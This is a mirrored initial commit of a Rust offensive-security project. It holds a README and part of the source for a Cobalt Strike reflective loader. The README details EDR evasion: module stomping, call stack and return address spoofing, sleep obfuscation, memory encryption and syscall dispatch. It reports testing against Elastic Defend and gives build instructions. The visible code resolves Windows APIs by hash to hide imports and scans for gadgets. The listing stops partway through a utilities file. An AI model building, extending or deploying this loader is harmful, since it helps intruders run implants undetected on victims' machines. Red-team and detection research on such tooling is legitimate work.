mirror of
https://github.com/memN0ps/doublepulsar-rs
synced 2026-06-06 16:14:28 +00:00
Initial commit
This commit is contained in:
+12
@@ -0,0 +1,12 @@
|
||||
# Rust build artifacts
|
||||
debug/
|
||||
target/
|
||||
**/*.rs.bk
|
||||
*.pdb
|
||||
**/mutants.out*/
|
||||
|
||||
# IDE
|
||||
.idea/
|
||||
|
||||
# Binary payloads
|
||||
*.bin
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 memN0ps
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,171 @@
|
||||
## DoublePulsar
|
||||
|
||||
Cobalt Strike User-Defined Reflective Loader (UDRL) in Rust, implementing Shellcode Reflective DLL Injection (sRDI). A ~65KB position-independent reflective loader with module stomping, synthetic call stack spoofing, sleep obfuscation, memory encryption, return address spoofing, IAT hooking, and heap isolation.
|
||||
|
||||
Named after [DoublePulsar](https://en.wikipedia.org/wiki/DoublePulsar), an implant developed by the NSA's [Equation Group](https://en.wikipedia.org/wiki/Equation_Group), leaked by the Shadow Brokers in 2017.
|
||||
|
||||
## Credits
|
||||
|
||||
- [Raphael Mudge](https://www.cobaltstrike.com/profile/raphael-mudge) and [Cobalt Strike](https://www.cobaltstrike.com/) - User-Defined Reflective Loader API
|
||||
- [Revisiting the UDRL Part 1](https://www.cobaltstrike.com/blog/revisiting-the-udrl-part-1-simplifying-development) by Robert Bearsby / [Cobalt Strike](https://www.cobaltstrike.com/) - Prepended loader architecture diagram
|
||||
- [Red Team Ops II](https://www.zeropointsecurity.co.uk/course/red-team-ops-ii) by [RastaMouse](https://github.com/rasta-mouse) / [Zero Point Security](https://www.zeropointsecurity.co.uk/) - CRTO II course and advanced Cobalt Strike training
|
||||
- [AceLdr](https://github.com/kyleavery/AceLdr/) by [Kyle Avery](https://github.com/kyleavery) - IAT hooking, return address spoofing, heap isolation
|
||||
- [TitanLdr](https://github.com/benheise/TitanLdr) by [Austin Hudson](https://github.com/realoriginal) - FOLIAGE sleep obfuscation, memory encryption
|
||||
- [FOLIAGE](https://github.com/benheise/FOLIAGE) by [Austin Hudson](https://github.com/realoriginal) - FOLIAGE sleep obfuscation
|
||||
- [titanldr-ng](https://github.com/klezVirus/titanldr-ng) by [Austin Hudson](https://github.com/realoriginal) - CNA integration, RC4 beacon encryption
|
||||
- [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk) by [klezVirus](https://github.com/klezVirus), [trickster0](https://github.com/trickster0), and [waldo-irc](https://github.com/waldo-irc) - Call stack spoofing
|
||||
- [Ekko](https://github.com/Cracked5pider/Ekko) by [Cracked5pider](https://github.com/Cracked5pider) - Ekko sleep obfuscation technique
|
||||
- [Crystal-Kit](https://github.com/rasta-mouse/Crystal-Kit) by [RastaMouse](https://github.com/rasta-mouse) - Cobalt Strike kit reference
|
||||
- [uwd](https://github.com/joaoviictorti/uwd) and [hypnus](https://github.com/joaoviictorti/hypnus) by [Joao Victor](https://github.com/joaoviictorti) - Original unwinder and sleep obfuscation crates, rewritten and converted to position-independent code (PIC)
|
||||
- [x64 return address spoofing](https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html) by [namazso](https://github.com/namazso) - Original return address spoofing technique
|
||||
- [Gargoyle](https://github.com/JLospinoso/gargoyle) by [J. Lospinoso](https://github.com/JLospinoso) - Timer-based code execution
|
||||
- [MalMemDetect](https://github.com/waldo-irc/MalMemDetect) by [waldo-irc](https://github.com/waldo-irc) - Malicious memory detection
|
||||
- [Bypassing PE-sieve and Moneta](https://www.arashparsa.com/bypassing-pesieve-and-moneta-the-easiest-way-i-could-find/) by Arash Parsa
|
||||
- [Hook heaps and live free](https://www.arashparsa.com/hook-heaps-and-live-free/) by Arash Parsa
|
||||
- [Masking malicious memory artifacts](https://www.forrest-orr.net/post/masking-malicious-memory-artifacts-part-ii-insights-from-moneta) by Forrest Orr
|
||||
- [Hunting Gargoyle](https://blog.f-secure.com/hunting-for-gargoyle-memory-scanning-evasion/) by F-Secure
|
||||
- [Detecting Cobalt Strike with memory signatures](https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures) by Elastic
|
||||
- [MDSec Nighthawk study](https://web.archive.org/web/20220625003531/https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html) - Ekko sleep obfuscation research
|
||||
- [Equation Group / NSA](https://en.wikipedia.org/wiki/Equation_Group) - Original DoublePulsar implant concept
|
||||
|
||||
## Prepended Loader Architecture
|
||||
|
||||
Unlike Stephen Fewer's original approach where the reflective loader lives inside the PE's `.text` section, DoublePulsar uses a prepended architecture where the `ReflectiveLoader()` is placed before the PE file. This allows the loader to be fully position-independent shellcode that decrypts and maps the beacon payload at runtime.
|
||||
|
||||

|
||||
|
||||
*Diagram from [Revisiting the UDRL Part 1](https://www.cobaltstrike.com/blog/revisiting-the-udrl-part-1-simplifying-development) by Robert Bearsby / [Cobalt Strike](https://www.cobaltstrike.com/)*
|
||||
|
||||
## Features
|
||||
|
||||
- Position-independent Rust reflective loader for Cobalt Strike (prepended loader)
|
||||
- Module stomping (loads beacon into a legitimate module's memory, enabled by default)
|
||||
- Synthetic call stack spoofing (randomized per call, enabled by default via `spoof-uwd`). Either module stomping or call stack spoofing is needed, but module stomping is preferred. Call stack spoofing serves as a fallback
|
||||
- Dynamic memory encryption (new heap for beacon allocations, encrypted during sleep)
|
||||
- Code obfuscation and encryption (non-executable + encrypted during sleep)
|
||||
- Return address spoofing (InternetConnectA, NtWaitForSingleObject, RtlAllocateHeap)
|
||||
- IAT hooking
|
||||
- Heap isolation
|
||||
- RC4 encryption via SystemFunction032
|
||||
- Optional syscall dispatch (cringe, but it's there :roll_eyes:) (`spoof-syscall` feature, requires `spoof-uwd`). Uses [Hell's Gate](https://github.com/am0nsec/HellsGate) for direct syscalls when unhooked, falls back to Halo's Gate / [Tartarus Gate](https://github.com/trickster0/TartarusGate) for indirect syscalls when hooks are detected
|
||||
- Multiple sleep obfuscation techniques:
|
||||
|
||||
| Feature | Technique | Description |
|
||||
|---------|-----------|-------------|
|
||||
| `sleep-ekko` | Ekko | Timer-based (TpAllocTimer/TpSetTimer) + RC4 + NtContinue chain + fiber support **(default)** |
|
||||
| `sleep-foliage` | FOLIAGE | APC-based (NtQueueApcThread) + RC4 + NtContinue chain + fiber support |
|
||||
| `sleep-zilean` | Zilean | Wait-based (TpAllocWait/TpSetWait) + RC4 + NtContinue chain + fiber support |
|
||||
| `sleep-xor` | XOR | XOR section masking + plain Sleep (no CONTEXT chain, no fiber mode) |
|
||||
|
||||
## How It Works
|
||||
|
||||
Import the `Titan.cna` script before generating shellcode. The script:
|
||||
1. Takes your raw beacon payload
|
||||
2. RC4 encrypts it with a random 16-byte key
|
||||
3. Appends `[CONFIG (key + size)][Encrypted Beacon]` to the loader
|
||||
4. At runtime, the loader decrypts the beacon in-memory and executes it
|
||||
|
||||
## Building
|
||||
|
||||
x64 only. x86 is not supported.
|
||||
|
||||
Recommended: build on Ubuntu/WSL to avoid MinGW relocation issues on Windows.
|
||||
|
||||
### Requirements
|
||||
|
||||
- Rust nightly with `x86_64-pc-windows-gnu` target
|
||||
- MinGW-w64
|
||||
- [cargo-make](https://github.com/sagiegurari/cargo-make)
|
||||
- nasm
|
||||
|
||||
### Ubuntu/WSL Setup (Recommended)
|
||||
|
||||
```bash
|
||||
# Install Rust nightly and add target
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
rustup toolchain install nightly
|
||||
rustup default nightly
|
||||
rustup target add x86_64-pc-windows-gnu
|
||||
|
||||
# Install MinGW-w64 and nasm
|
||||
sudo apt update
|
||||
sudo apt install -y mingw-w64 nasm
|
||||
|
||||
# Install cargo-make
|
||||
cargo install cargo-make
|
||||
|
||||
# Build
|
||||
cd udrl
|
||||
cargo make x64
|
||||
```
|
||||
|
||||
### Build Commands
|
||||
|
||||
```bash
|
||||
cargo make x64 # x64 release
|
||||
cargo make x64-debug # x64 with debug logging (DbgPrint)
|
||||
cargo make clean # clean build artifacts
|
||||
```
|
||||
|
||||
### Sleep Feature Selection
|
||||
|
||||
Only enable one sleep feature at a time. They are mutually exclusive. Use `--no-default-features` when selecting a non-default technique.
|
||||
|
||||
```bash
|
||||
# Ekko (default)
|
||||
cargo make x64
|
||||
|
||||
# FOLIAGE
|
||||
cargo build --release --target x86_64-pc-windows-gnu --features sleep-foliage --no-default-features
|
||||
|
||||
# Zilean
|
||||
cargo build --release --target x86_64-pc-windows-gnu --features sleep-zilean --no-default-features
|
||||
|
||||
# XOR (no ROP chain, no fiber)
|
||||
cargo build --release --target x86_64-pc-windows-gnu --features sleep-xor --no-default-features
|
||||
```
|
||||
|
||||
### Output
|
||||
|
||||
```
|
||||
bin/Titan.x64.bin - x64 shellcode
|
||||
```
|
||||
|
||||
## Detection
|
||||
|
||||
Tested on Windows 10 (Build 19045) and Windows 11 (Build 22631) against Elastic 9.0.1 (trial) in prevention mode with aggressive settings and the following integrations enabled: Elastic Defend, Elastic Agent, Fleet Server, Prebuilt Security Detection Rules, Elastic Synthetics, System, and Windows. Cobalt Strike settings: Stageless Windows Executable, Raw output, x64 payload, Process exit function, winhttp library. Lab environment: [GOAD](https://github.com/Orange-Cyberdefense/GOAD) on [Ludus](https://docs.ludus.cloud/docs/environment-guides/goad).
|
||||
|
||||
YARA rules for detection are provided in [doublepulsar.yar](doublepulsar.yar).
|
||||
|
||||
## Known Issues
|
||||
|
||||
- Not compatible with loaders that rely on the shellcode thread staying alive
|
||||
- Windows builds may encounter relocation errors with newer MinGW versions (use WSL)
|
||||
- AllocConsole logging can cause crashes when spammed with too many log entries, use DbgPrint instead
|
||||
|
||||
## License and Disclaimer
|
||||
|
||||
**License**: MIT. See [LICENSE](./LICENSE)
|
||||
|
||||
**Disclaimer**: This project is provided for authorized security testing, educational purposes, and legitimate security research only.
|
||||
|
||||
**Permitted use includes:**
|
||||
|
||||
- Authorized penetration testing and red team engagements
|
||||
- Purple teaming, adversary simulation, and threat emulation
|
||||
- Detection engineering, threat hunting, and security operations
|
||||
- Blue team and SOC activities including malware reverse engineering
|
||||
- CTF competitions and security research
|
||||
- Educational and training purposes
|
||||
|
||||
**Prohibited use includes:**
|
||||
|
||||
- Unauthorized access to systems or networks
|
||||
- Any activity that violates applicable laws or regulations
|
||||
- Use against systems without explicit written authorization
|
||||
|
||||
**Liability**: The author assumes no responsibility for misuse, damages, or legal consequences arising from the use of this software. Users are solely responsible for ensuring compliance with all applicable laws, regulations, and organizational policies. By using this software, you agree that you have proper authorization for any systems you interact with.
|
||||
|
||||
## Author
|
||||
|
||||
[memN0ps](https://github.com/memN0ps)
|
||||
@@ -0,0 +1,6 @@
|
||||
debug
|
||||
target
|
||||
Cargo.lock
|
||||
**/*.rs.bk
|
||||
*.pdb
|
||||
**/mutants.out*/
|
||||
@@ -0,0 +1,16 @@
|
||||
[workspace]
|
||||
resolver = "3"
|
||||
|
||||
members = [
|
||||
"api",
|
||||
"uwd",
|
||||
"ntdef",
|
||||
"hypnus",
|
||||
"example",
|
||||
]
|
||||
|
||||
[profile.dev]
|
||||
panic = "abort"
|
||||
|
||||
[profile.release]
|
||||
panic = "abort"
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 memN0ps
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,14 @@
|
||||
[package]
|
||||
name = "api"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[features]
|
||||
spoof-uwd = ["dep:uwd", "uwd/spoof-uwd"]
|
||||
spoof-syscall = ["spoof-uwd", "dep:uwd", "uwd/spoof-syscall"]
|
||||
debug-console = []
|
||||
debug-dbgprint = []
|
||||
|
||||
[dependencies]
|
||||
ntdef = { path = "../ntdef" }
|
||||
uwd = { path = "../uwd", optional = true, default-features = false }
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,50 @@
|
||||
//! Low-level Windows API abstraction layer for `no_std` environments.
|
||||
//!
|
||||
//! Provides hash-based dynamic resolution of NT, Kernel32, KernelBase, and Advapi32
|
||||
//! function pointers at runtime, avoiding static imports that would appear in the IAT.
|
||||
//! All resolved functions are stored as typed pointers in module structs and called
|
||||
//! through thin wrapper methods that optionally apply call-stack spoofing (`spoof-uwd`)
|
||||
//! or indirect syscall dispatch (`spoof-syscall`) via feature flags.
|
||||
|
||||
#![no_std]
|
||||
#![allow(
|
||||
non_snake_case,
|
||||
non_camel_case_types,
|
||||
non_upper_case_globals,
|
||||
dead_code,
|
||||
unused_imports,
|
||||
unexpected_cfgs,
|
||||
integer_to_ptr_transmutes
|
||||
)]
|
||||
|
||||
/// Core API structs, wrapper methods, and runtime resolution for ntdll, kernel32,
|
||||
/// kernelbase, and advapi32.
|
||||
pub mod api;
|
||||
|
||||
/// Debug console logging infrastructure, feature-gated behind `debug-console`.
|
||||
pub mod log;
|
||||
|
||||
/// Utility functions: DJB2 hashing, memory operations, PE parsing, gadget scanning,
|
||||
/// module/export resolution, and memory protection helpers.
|
||||
pub mod util;
|
||||
|
||||
/// Raw Windows type definitions, constants, and function pointer type aliases.
|
||||
pub mod windows;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// UWD call-stack spoofing re-exports (feature-gated)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Re-export `uwd` crate so that `crate::spoof::uwd::*` paths resolve in
|
||||
/// `api/src/api.rs` when spoof features are enabled.
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
pub mod spoof {
|
||||
pub use uwd;
|
||||
}
|
||||
|
||||
/// Re-export the `spoof_syscall!` macro at crate root so `crate::spoof_syscall!(...)` works.
|
||||
#[cfg(feature = "spoof-syscall")]
|
||||
pub use uwd::spoof_syscall;
|
||||
/// Re-export the `spoof_uwd!` macro at crate root so `crate::spoof_uwd!(...)` works.
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
pub use uwd::spoof_uwd;
|
||||
@@ -0,0 +1,273 @@
|
||||
//! Debug console logging infrastructure for runtime diagnostics.
|
||||
//!
|
||||
//! All logging is feature-gated behind `debug-console` - when disabled, every macro
|
||||
//! expands to nothing and zero code is emitted. When enabled, an attached console is
|
||||
//! created via `AllocConsole` and messages are written to `STD_OUTPUT_HANDLE` using
|
||||
//! `WriteFile`.
|
||||
//!
|
||||
//! Three severity levels are provided: [`Level::Trace`], [`Level::Debug`], and
|
||||
//! [`Level::Info`], each with a corresponding macro ([`log_trace!`], [`log_debug!`],
|
||||
//! [`log_info!`]). Each macro supports two forms:
|
||||
//!
|
||||
//! - `log_info!(b"message")` - plain text.
|
||||
//! - `log_info!(b"message", value)` - text followed by a `0x`-prefixed hex value.
|
||||
|
||||
#[cfg(feature = "debug-console")]
|
||||
use {
|
||||
crate::{
|
||||
hash_str,
|
||||
util::{get_export_by_hash, get_loaded_module_by_hash},
|
||||
windows::*,
|
||||
},
|
||||
core::{mem::transmute, ptr},
|
||||
};
|
||||
|
||||
/// Log a message at [`Level::Info`].
|
||||
///
|
||||
/// Two forms:
|
||||
/// - `log_info!(b"message")` - plain text.
|
||||
/// - `log_info!(b"message", value)` - text with trailing hex value.
|
||||
///
|
||||
/// Compiles to nothing when the `debug-console` feature is disabled.
|
||||
#[macro_export]
|
||||
macro_rules! log_info {
|
||||
($msg:literal) => {{
|
||||
#[cfg(feature = "debug-console")]
|
||||
unsafe {
|
||||
$crate::log::log_message($crate::log::Level::Info, $msg)
|
||||
}
|
||||
}};
|
||||
($msg:literal, $value:expr) => {{
|
||||
#[cfg(feature = "debug-console")]
|
||||
unsafe {
|
||||
$crate::log::log_message_hex($crate::log::Level::Info, $msg, $value as usize)
|
||||
}
|
||||
}};
|
||||
}
|
||||
|
||||
/// Log a message at [`Level::Debug`].
|
||||
///
|
||||
/// Same forms as [`log_info!`]. Compiles to nothing without `debug-console`.
|
||||
#[macro_export]
|
||||
macro_rules! log_debug {
|
||||
($msg:literal) => {{
|
||||
#[cfg(feature = "debug-console")]
|
||||
unsafe {
|
||||
$crate::log::log_message($crate::log::Level::Debug, $msg)
|
||||
}
|
||||
}};
|
||||
($msg:literal, $value:expr) => {{
|
||||
#[cfg(feature = "debug-console")]
|
||||
unsafe {
|
||||
$crate::log::log_message_hex($crate::log::Level::Debug, $msg, $value as usize)
|
||||
}
|
||||
}};
|
||||
}
|
||||
|
||||
/// Log a message at [`Level::Trace`].
|
||||
///
|
||||
/// Same forms as [`log_info!`]. Compiles to nothing without `debug-console`.
|
||||
#[macro_export]
|
||||
macro_rules! log_trace {
|
||||
($msg:literal) => {{
|
||||
#[cfg(feature = "debug-console")]
|
||||
unsafe {
|
||||
$crate::log::log_message($crate::log::Level::Trace, $msg)
|
||||
}
|
||||
}};
|
||||
($msg:literal, $value:expr) => {{
|
||||
#[cfg(feature = "debug-console")]
|
||||
unsafe {
|
||||
$crate::log::log_message_hex($crate::log::Level::Trace, $msg, $value as usize)
|
||||
}
|
||||
}};
|
||||
}
|
||||
|
||||
/// Re-exports of the logging macros under short aliases.
|
||||
#[allow(unused_imports)]
|
||||
pub use {log_debug as debug, log_info as info, log_trace as trace};
|
||||
|
||||
/// Log severity level used to prefix output lines.
|
||||
#[allow(dead_code)]
|
||||
pub enum Level {
|
||||
/// Finest-grained diagnostics (prefixed `[TRACE]`).
|
||||
Trace,
|
||||
/// Intermediate diagnostics (prefixed `[DEBUG]`).
|
||||
Debug,
|
||||
/// High-level operational messages (prefixed `[INFO ]`).
|
||||
Info,
|
||||
}
|
||||
|
||||
/// Write a plain-text log line to the debug console.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `level` - Severity level that determines the prefix tag.
|
||||
/// * `msg` - Raw byte string to print (no null terminator required).
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// Resolves kernel32 exports at runtime via PEB walking. The caller must ensure
|
||||
/// the process has a valid PEB and that kernel32 is loaded.
|
||||
#[link_section = ".text$E"]
|
||||
#[inline(never)]
|
||||
#[cfg(feature = "debug-console")]
|
||||
pub unsafe fn log_message(level: Level, msg: &[u8]) {
|
||||
if let Some((handle, write_file)) = ensure_console() {
|
||||
let mut writer = ConsoleWriter {
|
||||
buf: [0u8; 512],
|
||||
len: 0,
|
||||
handle,
|
||||
write_file,
|
||||
};
|
||||
|
||||
writer.push_bytes(match level {
|
||||
Level::Trace => b"[TRACE] ",
|
||||
Level::Debug => b"[DEBUG] ",
|
||||
Level::Info => b"[INFO ] ",
|
||||
});
|
||||
|
||||
writer.push_bytes(msg);
|
||||
writer.push_bytes(b"\r\n");
|
||||
writer.flush();
|
||||
}
|
||||
}
|
||||
|
||||
/// Write a log line with a trailing `0x`-prefixed hex value to the debug console.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `level` - Severity level that determines the prefix tag.
|
||||
/// * `msg` - Raw byte string label (no null terminator required).
|
||||
/// * `value` - Value to format as 16-digit lowercase hex.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// Same requirements as [`log_message`].
|
||||
#[link_section = ".text$E"]
|
||||
#[inline(never)]
|
||||
#[cfg(feature = "debug-console")]
|
||||
pub unsafe fn log_message_hex(level: Level, msg: &[u8], value: usize) {
|
||||
if let Some((handle, write_file)) = ensure_console() {
|
||||
let mut writer = ConsoleWriter {
|
||||
buf: [0u8; 512],
|
||||
len: 0,
|
||||
handle,
|
||||
write_file,
|
||||
};
|
||||
|
||||
writer.push_bytes(match level {
|
||||
Level::Trace => b"[TRACE] ",
|
||||
Level::Debug => b"[DEBUG] ",
|
||||
Level::Info => b"[INFO ] ",
|
||||
});
|
||||
|
||||
writer.push_bytes(msg);
|
||||
writer.push_bytes(b": ");
|
||||
writer.push_hex(value);
|
||||
writer.push_bytes(b"\r\n");
|
||||
writer.flush();
|
||||
}
|
||||
}
|
||||
|
||||
/// Resolve console handles and `WriteFile` from kernel32 via PEB hash lookup.
|
||||
///
|
||||
/// Calls `AllocConsole` to ensure a console is attached, then returns the
|
||||
/// stdout handle and `WriteFile` function pointer.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// `Some((handle, WriteFile))` on success, `None` if kernel32 is not loaded or
|
||||
/// the stdout handle is null.
|
||||
#[cfg(feature = "debug-console")]
|
||||
#[inline(always)]
|
||||
#[link_section = ".text$E"]
|
||||
unsafe fn ensure_console() -> Option<(HANDLE, FnWriteFile)> {
|
||||
let kernel32 = get_loaded_module_by_hash(hash_str!("kernel32.dll"));
|
||||
if kernel32 == 0 {
|
||||
return None;
|
||||
}
|
||||
|
||||
let alloc_console: FnAllocConsole = transmute(get_export_by_hash(
|
||||
kernel32,
|
||||
hash_str!("AllocConsole") as usize,
|
||||
));
|
||||
let get_std_handle: FnGetStdHandle = transmute(get_export_by_hash(
|
||||
kernel32,
|
||||
hash_str!("GetStdHandle") as usize,
|
||||
));
|
||||
let write_file: FnWriteFile = transmute(get_export_by_hash(
|
||||
kernel32,
|
||||
hash_str!("WriteFile") as usize,
|
||||
));
|
||||
|
||||
alloc_console();
|
||||
|
||||
let handle = get_std_handle(STD_OUTPUT_HANDLE);
|
||||
if handle.is_null() {
|
||||
return None;
|
||||
}
|
||||
|
||||
Some((handle, write_file))
|
||||
}
|
||||
|
||||
/// Fixed-size buffer writer for console output (512 bytes).
|
||||
///
|
||||
/// Accumulates bytes via [`push_bytes`](ConsoleWriter::push_bytes) and
|
||||
/// [`push_hex`](ConsoleWriter::push_hex), then flushes to the console
|
||||
/// handle via `WriteFile`.
|
||||
#[cfg(feature = "debug-console")]
|
||||
struct ConsoleWriter {
|
||||
buf: [u8; 512],
|
||||
len: usize,
|
||||
handle: HANDLE,
|
||||
write_file: FnWriteFile,
|
||||
}
|
||||
|
||||
#[cfg(feature = "debug-console")]
|
||||
impl ConsoleWriter {
|
||||
/// Flush the accumulated buffer to the console via `WriteFile` and reset length.
|
||||
#[inline(always)]
|
||||
#[link_section = ".text$E"]
|
||||
unsafe fn flush(&mut self) {
|
||||
if self.len == 0 {
|
||||
return;
|
||||
}
|
||||
let mut written: DWORD = 0;
|
||||
(self.write_file)(
|
||||
self.handle,
|
||||
self.buf.as_ptr() as *const _,
|
||||
self.len as DWORD,
|
||||
&mut written,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
self.len = 0;
|
||||
}
|
||||
|
||||
/// Append raw bytes to the buffer, stopping at capacity.
|
||||
#[inline(always)]
|
||||
#[link_section = ".text$E"]
|
||||
unsafe fn push_bytes(&mut self, bytes: &[u8]) {
|
||||
let mut idx = 0usize;
|
||||
while self.len < self.buf.len() && idx < bytes.len() {
|
||||
self.buf[self.len] = bytes[idx];
|
||||
self.len += 1;
|
||||
idx += 1;
|
||||
}
|
||||
}
|
||||
|
||||
/// Format `value` as a 16-digit `0x`-prefixed lowercase hex string and append.
|
||||
#[inline(always)]
|
||||
#[link_section = ".text$E"]
|
||||
unsafe fn push_hex(&mut self, value: usize) {
|
||||
const HEX_CHARS: &[u8] = b"0123456789abcdef";
|
||||
self.push_bytes(b"0x");
|
||||
for i in (0..16).rev() {
|
||||
let nibble = ((value >> (i * 4)) & 0xF) as usize;
|
||||
if self.len < self.buf.len() {
|
||||
self.buf[self.len] = HEX_CHARS[nibble];
|
||||
self.len += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,948 @@
|
||||
//! Core utility functions and macros for module resolution, memory operations,
|
||||
//! PE image manipulation, and gadget scanning.
|
||||
//!
|
||||
//! All functions use DJB2 hashing (case-insensitive) for API and module name
|
||||
//! resolution, avoiding plaintext strings in the binary. Memory helpers (`memzero`,
|
||||
//! `memcopy`, `memcmp`, `memmem`) are `no_std`-compatible replacements for libc
|
||||
//! equivalents. PE utilities handle import resolution, IAT hooking, and base
|
||||
//! relocation fixups. Gadget scanners locate `jmp [rbx]` / `call [NtTestAlert]`
|
||||
//! sequences in module `.text` sections for stack spoofing.
|
||||
|
||||
use {
|
||||
crate::{
|
||||
api::MemorySection,
|
||||
windows::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_NT_HEADERS, IMAGE_NT_SIGNATURE, *},
|
||||
},
|
||||
core::{ffi::c_void, ptr::null_mut},
|
||||
};
|
||||
|
||||
/// Iterate over a doubly-linked `LIST_ENTRY` chain starting from `$head_list`.
|
||||
///
|
||||
/// Casts each node to `$type` and executes `$body` with `$current` bound to
|
||||
/// the typed pointer. Stops when the traversal wraps back to the head.
|
||||
#[macro_export]
|
||||
macro_rules! range_head_list {
|
||||
($head_list:expr, $type:ty, |$current:ident| $body:block) => {
|
||||
{
|
||||
let head_ptr = $head_list as *const LIST_ENTRY;
|
||||
let mut $current = (*head_ptr).Flink as $type;
|
||||
|
||||
while $current as *const _ != head_ptr as *const _ {
|
||||
$body
|
||||
$current = (*$current).InLoadOrderLinks.Flink as $type;
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
/// Compute the DJB2 hash of a string literal at compile time.
|
||||
///
|
||||
/// Wraps [`djb2_hash`] for use in `const` contexts (e.g., module/export name hashing).
|
||||
#[macro_export]
|
||||
macro_rules! hash_str {
|
||||
($s:expr) => {
|
||||
$crate::util::djb2_hash($s)
|
||||
};
|
||||
}
|
||||
|
||||
/// Resolve a Windows API function pointer by DJB2 hash from a loaded module.
|
||||
///
|
||||
/// Returns a `*const unsafe extern "system" fn()` suitable for `transmute` to the
|
||||
/// concrete function type.
|
||||
#[macro_export]
|
||||
macro_rules! resolve_api {
|
||||
($module:expr, $name:ident) => {
|
||||
$crate::util::api::<unsafe extern "system" fn()>(
|
||||
$module,
|
||||
$crate::hash_str!(stringify!($name)) as usize,
|
||||
) as *const unsafe extern "system" fn()
|
||||
};
|
||||
}
|
||||
|
||||
/// Internal helper macro for batch API resolution (unused in current code).
|
||||
#[allow(unused_macros)]
|
||||
#[macro_export]
|
||||
macro_rules! _api {
|
||||
($api:expr, $module:ident) => {{
|
||||
let base_addr = $api.$module.handle;
|
||||
if base_addr != 0 {
|
||||
$(
|
||||
$api.$module.$api = transmute(get_export_by_hash(base_addr, $api.$module.$api as usize));
|
||||
)*
|
||||
}
|
||||
}};
|
||||
}
|
||||
|
||||
/// Check whether an `NTSTATUS` value indicates success (`>= 0`).
|
||||
#[macro_export]
|
||||
macro_rules! NT_SUCCESS {
|
||||
($status:expr) => {
|
||||
$status >= 0
|
||||
};
|
||||
}
|
||||
|
||||
/// Print a formatted debug string via `DbgPrint` (kernel debugger output).
|
||||
///
|
||||
/// Feature-gated behind `debug-dbgprint`. When disabled, compiles to nothing.
|
||||
#[cfg(feature = "debug-dbgprint")]
|
||||
#[macro_export]
|
||||
macro_rules! dbg_print {
|
||||
($api:expr, $fmt:expr) => {{
|
||||
unsafe {
|
||||
if !$api.ntdll.DbgPrint_ptr.is_null() {
|
||||
let dbg_print: $crate::windows::FnDbgPrint =
|
||||
core::mem::transmute($api.ntdll.DbgPrint_ptr);
|
||||
dbg_print($fmt.as_ptr());
|
||||
}
|
||||
}
|
||||
}};
|
||||
($api:expr, $fmt:expr, $($arg:expr),*) => {{
|
||||
unsafe {
|
||||
if !$api.ntdll.DbgPrint_ptr.is_null() {
|
||||
let dbg_print: $crate::windows::FnDbgPrint =
|
||||
core::mem::transmute($api.ntdll.DbgPrint_ptr);
|
||||
dbg_print($fmt.as_ptr(), $($arg),*);
|
||||
}
|
||||
}
|
||||
}};
|
||||
}
|
||||
|
||||
